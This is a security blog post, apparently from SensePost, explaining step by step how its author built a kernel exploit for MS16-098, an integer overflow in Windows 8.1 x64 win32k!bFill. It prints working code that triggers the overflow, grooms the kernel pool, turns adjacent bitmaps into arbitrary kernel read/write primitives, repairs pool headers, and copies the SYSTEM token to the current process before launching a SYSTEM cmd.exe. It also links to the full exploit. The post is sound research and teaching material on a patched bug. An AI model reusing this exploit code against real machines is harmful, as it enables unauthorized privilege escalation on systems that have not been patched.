Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects Reading time ~38 min Posted by saif on 03 January 2017 Categories: Exploit, Fun, Howto, Research Starting from the beginning with no experience whatsoever in kernel land let alone exploiting it, I was always intrigued and fascinated by reverse engineering and exploit development. The idea was simple: find a 1-day patch with an exploitable bug but with no proof of concept exploit currently available, in order to start my reverse engineering and exploit dev journey with.Now the bug discussed here was not my initial choice: I failed at that one. It is actually my second choice and it took almost 4 months to fully understand the exploit and everything related to it. I hope that this blog post is helpful to anyone aspiring to learn more about reverse engineering and exploit development. It is a lengthy post, I’m a new to the exploit-dev kernel stuff, so I implore you to be patient while reading this post. Tools Used: Expand.exe (used to expand the update MSU file) Virtual KD http://virtualkd.sysprogs.org/ (Their claim that they are x45 times faster than normal kernel debugging is absolutely true). Windbg (kd) (because why not). IDA professional. https://www.hex-rays.com/products/ida/ Zynamics BinDiff IDA plugin. https://www.zynamics.com/bindiff.html Using Expand.exe: Expand.exe is used to extract files from individual Microsoft update files (MSU) and the contained (CAB) files. Issuing the commands below, on a Windows system, the update and extracted CAB files will be extracted to the target directory: Expand.exe -F:* [PATH TO MSU] [PATH TO EXTRACT TO] Expand.exe -F:* [PATH TO EXTRACTED CAB] [PATH TO EXTRACT TO] Windbg (KD) Tips and Tricks: I personally prefer Windbg to other debuggers, as it contains very interesting commands, especially for kernel debugging, that absolutely helped with the exploitation process and deserve to be mentioned in this context. kd> dt [OBJECT SYMBOL NAME] [ADDR] The dt command dumps an object structure by using its symbol definition, which is very useful when analysing objects and trying to understand where everything fits specially if these objects symbols are exported. Using the command without the address will produce the structure of that object. For example, to dump the structure of the EPROCESS object we use the following command. By adding the address to the command, the data located at that address will be dumped based on the structure of the referenced object. The commands !pool, !poolfind and !poolused helped me a lot when analysing Kernel pool overflows, and performing kernel pool feng shui. Some initial useful examples are: To dump the kernel pool page layout that contains the supplied address, we can use the following: kd> !pool [ADDR] To retrieve the number of allocations of the object of the supplied pool tag located in the specified pool type: kd> !poolused [POOLTYPE] [POOLTAG] To search the full allocated kernel pool address space of the supplied pool type, for the specified pool tag. kd> !poolfind [POOLTAG] [POOLTYPE] Discussing the usage of IDA professional, VirtualKD, Zynamics BinDiff is beyond the scope of this post. Analysing the Patch and understanding the bug: After the update file was download and expanded, the modified file was win32k.sys version 6.3.9600.18405. When performing a diff with its older version, 6.3.9600.17393, using IDA professional Zynamics BinDiff plugin, an interesting function was found to have been changed with similarity rating 0.98. The vulnerable function was win32k!bFill. Below is the difference between the two versions. The diff quickly shows that an integer overflow was fixed, by adding the function UlongMult3, which is used to detect integer overflows by multiplying the supplied two ULONG integers. If the result overflows the object type, which is a ULONG, it returns an error “INTSAFE_E_ARITHMETIC_OVERFLOW”. This function was added right before the call PALLOCMEM2 that was called with one of the checked arguments [rsp+Size]. This confirms that this integer overflow would lead to an allocation of a small sized object; the question then being – can this value be somehow controlled by the user? When faced with a big problem, its recommended to break it down into smaller problems. As kernel exploitation is a big problem, taking it one step at a time seems the way to go. The exploitation steps are as follows: Reaching the vulnerable function. Controlling the allocation size. Kernel pool feng shui. Abusing the Bitmap GDI objects. Analysing and controlling the overflow. Fixing the overflowed header. Stealing SYSTEM Process Token from the EPROCESS structure. SYSTEM !! Step 1 – Reaching the Vulnerable Function: First we need to understand how this function can be reached by looking at the function definition in IDA. It can be seen that the function works on EPATHOBJ and the function name “bFill” would suggest that it has something to do with filling paths. A quick Google search for “msdn path fill” brought me to the function BeginPath and the using Paths example [5]. bFill@(struct EPATHOBJ *@, struct _RECTL *@, unsigned __int32@, void (__stdcall *)(struct _RECTL *, unsigned __int32, void *)@, void *) Theoretically speaking, if we take out the relevant code from the example, it should hit the function right?? // Get Device context of desktop hwnd hdc = GetDC(NULL); //begin the drawing path BeginPath(hdc); // draw a line between the supplied points. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); //End the path EndPath(hdc); //Fill Path FillPath(hdc); Well, that didn’t work so I started to dive into why by iterating backwards through the Xrefs to the vulnerable function and adding a break point in windbg, at the start of each of them. EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill() Running our sample code again, it was found that the first function that gets hit, and then doesn’t continue to out function was EngFastFill. Without diving deep into reversing this function and adding more time of boring details to the reader we can conclude, in short, that this function is a switch case that will eventually call bPaintPath, bBrushPath, or bBrushPathN_8x8, depending if a brush object is associated with the hdc. The code above didn’t even reach the switch case, it failed before then, on a check that was made to check the hdc type, thus it was worth investing in understanding Device Contexts types[6] Turns out there are four Device Context types: Printer. Display, which is the default one called with the above code Information. Memory, which supports drawing operations on a bitmap object. Looking at the information provided, it was worth trying to switch the device type to Memory(Bitmap) as follows: // Get Device context of desktop hwnd HDC hdc = GetDC(NULL); // Get a compatible Device Context to assign Bitmap to HDC hMemDC = CreateCompatibleDC(hdc); // Create Bitmap Object HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); // Select the Bitmap into the Compatible DC HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); //Begin path BeginPath(hMemDC); // draw a line between the supplied points. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); // End the path EndPath(hMemDC); // Fill the path FillPath(hMemDC); Turns out, that was exactly what was needed to reach the vulnerable function bFill. Step 2 – Controlling the Allocation Size: Looking at the part where the allocation is made. Before the allocation is called, the function checks whether the value of [rbx+4] (rbx points to our first argument which is the EPATHOBJ), is larger than 14. If it was, then the same value is multiplied by 3 where the overflow happens lea ecx, [rax+rax*2]; The overflow happens actually for two reasons: one the value is being cast into the 32-bit register ecx and second [rax+rax*2] means that the value is multiplied by 3. Doing some calculations we can reach the conclusion that the value needed to overflow this function would be: 0xFFFFFFFF / 3 = 0x55555555 Any value greater than the value above, would overflow the 32-bit register. 0x55555556 * 3 = 0x100000002 Then the result of this multiplication is shifted left by a nibble 4-bits, usually a shift left by 4 operation, is considered to be translated to multiplication by 2^4 0x100000002 << 4 | 0x100000002 * 2^4) = 0x00000020 (32-bit register value) Still, there is no conclusion on how this value can be controlled, so I decided to read more posts about Windows GDI exploitation specially using PATH objects, to try and see if there was any mention to this. I stumbled upon this awesome blog post[1] by Nicolas Economou @NicoEconomou of CoreLabs, which was discussing the MS16-039 exploitation process. The bug discussed in this blog post had identical code to our current vulnerable function, as if someone copy pasted the code in these two functions. It is worth mentioning that it would have taken me much more time to figure out how to exploit this bug, without referencing this blog post, so for that I thank you @NicoEconomou. However, one would think that everything should be straight forward from here with a great guide on hand, but it wasn’t at all. Although the post really helped with the idea of exploitation and specifically what this mysterious value was, there were a couple of differences in exploitation, and for someone with no experience in Kernel exploitation or Kernel-land in general, I had to dive deep into each aspect of the exploitation process and understand how it works. – “Teach a man to fish, and he will eat for eternity”. Continuing, the value was the number of points in the PATH object, and can be controlled by calling PolylineTo function multiple times. The modified code that would trigger an allocation of 50 Bytes would be: //Create a Point array static POINT points[0x3fe01]; // Get Device context of desktop hwnd HDC hdc = GetDC(NULL); // Get a compatible Device Context to assign Bitmap to HDC hMemDC = CreateCompatibleDC(hdc); // Create Bitmap Object HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); // Select the Bitmap into the Compatible DC HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); //Begin path BeginPath(hMemDC); // Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01. for (int j = 0; j < 0x156; j++) { PolylineTo(hMemDC, points, 0x3FE01); } } // End the path EndPath(hMemDC); // Fill the path FillPath(hMemDC); By calling PolylineTo with number of Points 0x3FE01 for 0x156 times would yield. 0x156 * 0x3FE01 = 0x5555556 Notice that the number is smaller than the number produced by the previous calculations, the reason is that in practice, when the bit is shifted left by 4 the lowest nibble will be shifted out of the 32-bit register, and what will be left is the small number. The other thing worth mentioning is that the application will add an extra point to our list of points, so the number that is passed to the overflowing instruction will be in reality 0x5555557. Let’s do the maths and see how it will work. 0x5555557 * 0x3 = 0x10000005 0x10000005 << 4 = 0x00000050 By that point, the size of the allocation will be 50 bytes and the application will try to copy 0x5555557 points to that small memory, which will quickly give us a BSOD, and with that successfully triggering the bug! Step 3 – Kernel Pool Feng Shui: Now starts the hard part: Kernel Pool Feng Shui Kernel Pool Feng Shui is a technique used to force the memory layout to be in a deterministic state, prior to the vulnerable object being allocated, by using a set of allocations/de-allocations calls. The idea is to force the allocation of our vulnerable object to be adjacent to an object under our control, overflowing the adjacent object and use the overflown object to change the memory corruption primitive and gain read/write over kernel memory. The object of choice would be Bitmap, with pool tag Gh05, which is allocated to the same Page Session Pool and can be controlled using SetBitmapBits/GetBitmapBits to write/read to arbitrary locations. This technique was discussed by Diego Juarez of CoreLabs on his post[2], and KeenTeam in their talk[10] as well. The crash happens because at the end of the bFill function, the allocated object is freed, when an object is freed, the kernel validates the adjacent memory chunks pool header; if it was corrupted, it will exit with error BAD_POOL_HEADER. Since we overflowed the adjacent page(s), this check will fail and a BSOD will happen. The trick to mitigate crashing on this check, is to force the allocation of our object at the end of memory page. This way, there will not be a next chunk and the call to free() will pass normally. This was mentioned in Nicolas’s blog post[1], and in only one sentence in the “A Guide to Kernel Exploitation: Attacking the Core” book[9]. There are a couple of things to keep in mind to achieve this Feng Shui: The Kernel pool page is of size 0x1000 bytes, any larger allocations will be allocated to the Large kernel Pool. Any allocation of size bigger than 0x808 will be allocated to the beginning of the memory page. Subsequent allocations will be allocated from the end of the page. The allocations need to be of the same Pool type, which in our case was Paged Session Pool. Allocating objects will usually add a pool header of size 0x10. If the allocated object is 0x50, the allocator will actually allocate 0x60 including the pool header. Armed with the above, it was time to develop the kernel pool Feng Shui and see how this will work, having a look at the exploit code: void fungshuei() { HBITMAP bmp; // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1670 = 0xf80 1685 = 0xf90 allocation size 0xfa0 bitmaps[k] = bmp; } HACCEL hAccel, hAccel2; LPACCEL lpAccel; // Initial setup for pool fengshui. lpAccel = (LPACCEL)malloc(sizeof(ACCEL)); SecureZeroMemory(lpAccel, sizeof(ACCEL)); // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); for (INT i = 0; i < 7000; i++) { hAccel = CreateAcceleratorTableA(lpAccel, 1); hAccel2 = CreateAcceleratorTableW(lpAccel, 1); pAccels[i] = hAccel; pAccels2[i] = hAccel2; } // Delete the allocated bitmaps to free space at beginning of pages for (int k = 0; k < 5000; k++) { DeleteObject(bitmaps[k]); } //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. for (int k = 0; k < 5000; k++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 } // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0 bitmaps[k] = bmp; } // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for (int k = 0; k < 1700; k++) { //1500 AllocateClipBoard2(0x30); } // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for (int k = 2000; k < 4000; k++) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } } The flow of allocations/de-allocations can be clearly seen, however a GIF is worth a thousand words. Walking through the allocation/de-allocations functions, to show what actually happens, the first step of the kernel Feng Shui was: HBITMAP bmp; // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(1670, 2, 1, 8, NULL); bitmaps[k] = bmp; } Start by 5000 allocations of Bitmap objects with size 0xf80. This will eventually start allocating new memory pages and each page will start with a Bitmap object of size 0xf80, leaving 0x80 bytes space at the end of the page. To check if the spray worked we can break on the call to PALLOCMEM from within bFill and use !poolused 0x8 Gh?5 to see how many bitmap objects were allocated. The other thing, is how to calculate the sizes which when supplied to the CreateBitmap() function translate into the Bitmap objects allocated by the kernel. The closest calculations I could find were mentioned by Feng yuan in his book[11]. It was a close calculation but doesn’t add up to the allocation sizes observed. By using the best way a hacker can know, trial and error, change the size of the bitmap and see the allocated size object that was allocated using !poolfind command. // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); for (INT i = 0; i < 7000; i++) { hAccel = CreateAcceleratorTableA(lpAccel, 1); hAccel2 = CreateAcceleratorTableW(lpAccel, 1); pAccels[i] = hAccel; pAccels2[i] = hAccel2; } Then, 7000 allocations of accelerator table objects (Usac). Each Usac is of size 0x40, so allocating two of them will allocate 0x80 bytes of memory. This, will fill the left 0x80 bytes from the previous allocation rounds and completely fill our pages (0xf80 + 80 = 0x1000). // Delete the allocated bitmaps to free space at beginning of pages for (int k = 0; k < 5000; k++) { DeleteObject(bitmaps[k]); } Next de-allocation of the previously allocated object will leave our memory page layout with 0xf80 free bytes at the beginning of the page. //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. for (int k = 0; k < 5000; k++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 } Allocating 5000 bytes of region objects (Gh04) of size 0xbc0. This size is essential, since if the bitmap was placed directly adjacent to our vulnerable object, overflowing it will not overwrite the interesting members (Discussed in later sections) of the Bitmap object, which are needed to use GetBitmapBits/SetBitmapBits to read/write to kernel memory. This was also pointed out by Nicolas in his post[1], however the offsets were a bit different than what was needed in this case. Also, how the calculated the size of the allocated object in relation to the arguments supplied to CreateEllipticRgn function, was found through trial and error. At this point of the feng shui, the kernel page has 0xbc0 Gh04 object in the beginning of the page, and 0x80 at the end of the page, with free space of 0x3c0 bytes. // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0 bitmaps[k] = bmp; } The allocation of 5000 bitmap objects of size 0x3c0 to fill this freed memory, the bitmap objects becoming the target of our controlled overflow. // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for (int k = 0; k < 1700; k++) { //1500 AllocateClipBoard2(0x30); } Next part is the allocation of 1700 Clipboard objects (Uscb) of size 0x60, just to fill any memory locations that have size 0x60 prior to allocating our vulnerable object; so when the object gets allocated, it almost certainly will fall into our memory layout. Nicolas used this object to do the kernel spray with, I didn’t manage to simulate the free or the syscall to do that, however what was discovered was some quirky behaviour, basically to copy stuff into the clipboard programmatically with the following code: void AllocateClipBoard(unsigned int size) { BYTE *buffer; buffer = malloc(size); memset(buffer, 0x41, size); buffer[size-1] = 0x00; const size_t len = size; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), buffer, len); GlobalUnlock(hMem); OpenClipboard(wnd); EmptyClipboard(); SetClipboardData(CF_TEXT, hMem); CloseClipboard(); GlobalFree(hMem); } What was discovered is that, if you omit the OpenCliboard, CloseClipBboard, EmptyClipboard and just call SetClipboardData directly, the object will be allocated and never freed. I guess you could get Memory exhaustion after many calls but that wasn’t tested, furthermore, in my experiments as mentioned the object isn’t freed at all even if the clipboard is opened and emptied using EmptyCliBoard; or by using what Nicolas mentioned by consecutive calls to SetBitmapData, and EmptyClipboad. // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for (int k = 2000; k < 4000; k++) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } The last step of our kernel pool feng shui, was to create holes in the allocated accelerator table objects (Usac), exactly 2000 holes. The kernel feng shui function is also called right before the bug is triggered, if all went well our vulnerable object will be allocated into one of these holes right where its intended to be at the end of the memory page. Step 4 – Abusing the Bitmap GDI objects: This technique is heavily discussed in both CoreLabs posts [1],[2], and in their latest presentation at ekoparty 2016[11]. I highly recommend reading these, before continuing, as it won’t be explained in such depth in this post. The structure of the bitmap object starts with a SURFOBJ64 followed by the bitmap data, three members of this object interests us, sizlBitmap, pvScan0, hdev. The sizlBitmap is the width and height of the bitmap, the pvScan0 is a pointer to the beginning of the bitmap data, and hdev is a pointer to the device handle. typedef struct { ULONG64 dhsurf; // 0x00 ULONG64 hsurf; // 0x08 ULONG64 dhpdev; // 0x10 ULONG64 hdev; // 0x18 SIZEL sizlBitmap; // 0x20 ULONG64 cjBits; // 0x28 ULONG64 pvBits; // 0x30 ULONG64 pvScan0; // 0x38 ULONG32 lDelta; // 0x40 ULONG32 iUniq; // 0x44 ULONG32 iBitmapFormat; // 0x48 USHORT iType; // 0x4C USHORT fjBitmap; // 0x4E } SURFOBJ64; // sizeof = 0x50 The way bitmap objects can be abused, is by overwriting the sizlBitmap, or the pvScan0 with controlled values. The way SetBitmapBits/GetBitmapBits validate the amount of data to be written/read from is by validating the size of the data available for the bitmap, through these two object members. GetBitmapBits, for example, will calculate the width x height x 4 (32 bits per pixel in bytes, which is supplied as an argument to CreateBitmap) of the bitmap to validate the amount of data it can read from the address pointed to by pvScan0. If the sizlBitmap member was overwritten with a larger width and height, it will expand the amount of data the bitmap can read/write to by that larger value. In this exploit, for example, it was width 0xFFFFFFFF x height 1 x 4 (32 bitsprepel). If the overflow data can be controlled, then we can directly set the pvScan0 member with an address that we are interested to read/write to. The way to abuse controlled data overwrite as discussed in the blog post[2] is to use two bitmap objects: Set the first bitmap pvScan0 to the address of the pvScan0 of the second bitmap. Use the first bitmap as a manager, to set the pvScan0 pointer of the second bitmap to point to the address that we want to read/write to. The second bitmap object will act as a worker, which will actually read/write to this address. In this exploits case, the data used to overflow the heap is not fully controlled, since the data being copied is points or more specific edge objects of size 0x30 bytes each. Luckily, as will be shown in the next section, some of the data being overwritten can be indirectly controlled, and will be used to overwrite the sizlBitmap member with the values 0x1 and 0xFFFFFFFF, which would expand the amount of data that can be read/write by the bitmap object. The flow of how this will be used is as follows. Trigger the overflow and overwrite the sizlBitmap member of an adjacent bitmap object. Use the expanded bitmap as a manager to overwrite the pvScan0 member of a second bitmap. Utilize the second bitmap as the worker and use it, to read/write to address set by the first bitmap. The importance of the hdev member, will be discussed in details in the next section, the main point is that it’s either set to 0 or a pointer to a valid device object. Step 5 – Analysing and Controlling the Overflow: Now it’s time to analyse how the overflow can be controlled. In Nicolas’s post[1], he mentioned that in his case, the points are copied only if they are not identical, which allowed him to control the overflow, however this was not the case for me. To better understand this, we need to have a look at the addEdgeToGet function, which copies the points to the newly allocated memory. In the beginning, the addEdgeToGet assigns the r11 and r10 register to the values of the current point.y [r9+4] and the previous point.y [r8+4]. Later, a check is performed, which checks whether the previous point.y is less than [r9+0c], which in this case was 0x1f0, if so the current point will be copied to our buffer, if not the current point to be skipped. It was noticed also the point.y value was shifted left by a nibble, i.e. if the previous point.y = 0x20, the value will be 0x200. Now that we have the primitives of how we can control the overflow, we need to find out how the values 0x1 and 0xFFFFFFFF will be copied across. In the first check, the function will subtract the previous point.y at r10 from the current point.y at ebp. If the results were unsigned, it will copy the value 0xFFFFFFFF to offset 0x28 of our buffer pointed to by rdx. The assumption here, is that this function checks the direction of which the current point.y is to the previous point.y. In the second check, the same is done for point.x, the previous point.x at r8 is subtracted from the current point.x at ebx and if the results are unsigned, the function will copy 0x1 to offset 0x24 of our buffer pointed to by r15. This makes sense since it corresponds with the previous check copying to offset 0x28, as well as the fact that we want to only overflow the sizlBitmap structure. With point structures that are of size 0x30 bytes, also it copied the value 1 to the hdev member of the object pointed to by [r15+0x24]. Calculating the number of points to overflow the buffer to reach the sizLBitmap member, was easy and the way it was enforced by the exploit was simply changing the value of the previous point.y to a larger value that would fail the main check discussed previously, and thus the points will not be copied, looking at the code snippet from the exploit. static POINT points[0x3fe01]; for (int l = 0; l < 0x3FE00; l++) { points[l].x = 0x5a1f; points[l].y = 0x5a1f; } points[2].y = 20; //0x14 < 0x1f points[0x3FE00].x = 0x4a1f; points[0x3FE00].y = 0x6a1f; This is how the initial points array was initialized notice the value of points[2].y is set to 20 that is 0x14 in hex, which is less than 0x1f, and will thus copy the subsequent point to our allocated buffer. for (int j = 0; j < 0x156; j++) { if (j > 0x1F && points[2].y != 0x5a1f) { points[2].y = 0x5a1f; } if (!PolylineTo(hMemDC, points, 0x3FE01)) { fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError()); } } Then a check was added to the loop calling PolyLineTo, to check if the loop iteration was bigger than 0x1F, then change the value of points[2].y to a larger value that will be bigger than 0x1F0 and thus fail the check and the subsequent points will not be copied to our buffer. This will effectively control the overflow as such that the function will overflow the buffer until the next adjacent bitmap object sizlBitmap member with 0x1 and 0xFFFFFFFF, effectively expanding this bitmap object, allowing us to read/write past the original bounds of the bitmap object. The way to figure out which bitmap object was the one is by, iteratively, calling GetBitmapBits with size larger than the original values on each bitmap from our kernel pool spray; if it succeeds then this bitmap was the one that was overflowed, making it the manager bitmap and the next one in the bitmap array will be the worker bitmap. for (int k=0; k < 5000; k++) { res = GetBitmapBits(bitmaps[k], 0x1000, bits); if (res > 0x150) // if check succeeds we found our bitmap. } Hopefully, if everything is working as planned, we should be able to read 0x1000 bits from memory. Below there is the bitmap object before and after the overflow, the header, sizLBitmap and hdev members were overflowed. When the exploit resumes, and the loop to detect which is the vulnerable bitmap is executed, a crash happens after several calls to GetBitmapBits. The crash occurs in the PDEVOBJ::bAlowSharedAcces function. When trying to read from the address 0x0000000100000000, which is the hdev member of the overwritten bitmap object above, during the analysis, it was noticed that bitmap objects usually had either NULL or a pointer to a Gdev device object in this member, in the case of a pointer to a device object. The function win32k!GreGetBitmapBits will call NEEDGRELOCK::vLock that will in turn call PDEVOBJ::bAllowSharedAccess. Looking at the disassembly of the NEEDGRELOCK::vLock function, you will notice that the function will use the PDEVOBJ only to call PDEVOBJ::bAllowSharedAccess, if the result returns zero, it will continue to the other checks, of which none reference the PDEVOBJ. Furthermore, in GreGetBitmapBits, the function doesn’t check the return value of NEEDGRELOCK::vlock, after execution, the PDEVOBJ::bAllowSharedAccess will try to read that address in the first function block and if the data read is equal to one, then the function will exit, with code 0, which is what is needed to continue execution. The nice thing here is that if you look at the address that is being referenced, you will notice that the memory location that this address can fall in is in user-land. Using VirtualAlloc to allocate memory to this address and set all bytes to 1, will exit the function without errors, and will retrieve the bitmap data using GetBitmapBits, without crashing. VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memset(fake, 0x1, 0x100); Step 6 – Fixing the Overflowed Header: At this point, the exploit is able to read/write to adjacent memory with size 0xFFFFFFFF * 1 * 4, which is more than enough to reach the second adjacent bitmap object in the next page, and overwrite the pvScan0 address to be used to gain arbitrary read/write on kernel memory. When the exploit exited, it was noticed that sometimes some crash happens related to pool headers when the process is exiting. The way to go around this was to use GetBitmapbits, to read the headers for the next region and the bitmap objects, which were not overwritten, and then leak a kernel address that can be found in the region object, The way to calculate the address of the overflowed region object is by nulling the lowest byte of the leaked address, which will give us the address of the beginning of the current page, subtract the second lowest byte by 0x10, effectively subtraction 0x1000 from the beginning of the current page that will result in the start address of the previous page. addr1[0x0] = 0; int u = addr1[0x1]; u = u - 0x10; addr1[1] = u; Next, the address to the overflowed Bitmap object is calculated, remember that the region object is of size 0xbc0, so setting the lowest byte of the address retrieved at the last step to 0xc0, and adding 0xb to the second lowest byte, will result in the header address of the overflown bitmap object. addr1[0] = 0xc0; int y = addr1[1]; y = y + 0xb; addr1[1] = y; Then, SetBitmapBits is used by the manager bitmap object to overwrite the pvScan0 member of the worker bitmap object with the address of the region header. Then the worker bitmap object is used with SetBitmapBits to set that data pointed to by this address to the header data read in the first step; the same is done for the overflowed bitmap object header. void SetAddress(BYTE* address) { for (int i = 0; i < sizeof(address); i++) { bits[0xdf0 + i] = address[i]; } SetBitmapBits(hManager, 0x1000, bits); } void WriteToAddress(BYTE* data) { SetBitmapBits(hWorker, sizeof(data), data); } SetAddress(addr1); WriteToAddress(Gh05); Step 7 – Stealing SYSTEM Process Token from the EPROCESS structure: The code used in this part is taken directly from Diego’s blog post[2] and the technique is heavily discussed in several papers and articles. However, it will be briefly explained for the sake of completeness. The process begins by getting the kernel address of PsInitialSystemProcess, which is a pointer to the first entry in the EPROCESS list, that pointer is exported by ntoskrnl.exe. // Get base of ntoskrnl.exe ULONG64 GetNTOsBase() { ULONG64 Bases[0x1000]; DWORD needed = 0; ULONG64 krnlbase = 0; if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) { krnlbase = Bases[0]; } return krnlbase; } // Get EPROCESS for System process ULONG64 PsInitialSystemProcess() { // load ntoskrnl.exe ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe"); // get address of exported PsInitialSystemProcess variable ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess"); FreeLibrary((HMODULE)ntos); ULONG64 res = 0; ULONG64 ntOsBase = GetNTOsBase(); // subtract addr from ntos to get PsInitialSystemProcess offset from base if (ntOsBase) { ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64)); } return res; } The function PsInitalSystemProcess, will load the ntoskrnl.exe into memory, and user GetProcAddress to get the address of the exported PsInitialSystemProcess, then it will get the kernel base address by using the EnumDeviceDrivers() function. Subtracting the PsInitialSystemProcess from the loaded ntoskrnl.exe will result in the offset of PsInitalSystemProcess from kernel base, adding this offset to the retrieved Kernel base will return the kernel address of the PsInitialSystemProcess pointer. LONG64 PsGetCurrentProcess() { ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS // walk ActiveProcessLinks until we find our Pid LIST_ENTRY ActiveProcessLinks; ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); ULONG64 res = 0; while (TRUE) { ULONG64 UniqueProcessId = 0; // adjust EPROCESS pointer for next entry pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64); // get pid ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64)); // is this our pid? if (GetCurrentProcessId() == UniqueProcessId) { res = pEPROCESS; break; } // get next entry ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); // if next same as last, we reached the end if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64)) break; } return res; } Then it will proceed by using the manager and worker bitmaps to traverse the EPROCESS list looking for the current process entry in this list, once found, the function will use the bitmaps to read the SYSTEM Token from the first entry in the EPROCESS list, and write it the Token of the current process entry in the EPROCESS list. // get System EPROCESS ULONG64 SystemEPROCESS = PsInitialSystemProcess(); //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); ULONG64 CurrentEPROCESS = PsGetCurrentProcess(); //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); ULONG64 SystemToken = 0; // read token from system process ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8); // write token to current process ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; SetAddress((BYTE *)&CurProccessAddr); WriteToAddress((BYTE *)&SystemToken); // Done and done. We're System :) Step 8 – SYSTEM !! Now the current process has a SYSTEM level token, and will continue execution as SYSTEM, calling cmd.exe will drop into a SYSTEM shell. system("cmd.exe"); The code and EXE for the exploit for Windows 8.1 x64 bit can be found at: https://gitlab.sensepost.com/saif/MS16-098_RNGOBJ_Integer_Overflow References: [1] https://www.coresecurity.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-using-gdi-objects2 [2] https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives [3] https://msdn.microsoft.com/en-us/library/windows/desktop/bb776657(v=vs.85).aspx [4] http://www.zerodayinitiative.com/advisories/ZDI-16-449/ [5] Using Paths Example: https://msdn.microsoft.com/en-us/library/windows/desktop/dd145181(v=vs.85).aspx [6] Device Context Types: https://msdn.microsoft.com/en-us/library/windows/desktop/dd183560(v=vs.85).aspx [7] Memory Device Context: https://msdn.microsoft.com/en-us/library/windows/desktop/dd145049(v=vs.85).aspx [8] https://technet.microsoft.com/library/security/MS16-098 [9] https://www.amazon.co.uk/Guide-Kernel-Exploitation-Attacking-Core/dp/1597494860 [10] Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes – Keen Team: http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes [11] Windows Graphics Programming: Win32 GDI and DirectDraw: https://www.amazon.com/exec/obidos/ASIN/0130869856/fengyuancom [12] Abusing GDI objects for ring0 exploit primitives reloaded: https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf Sursa: https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/

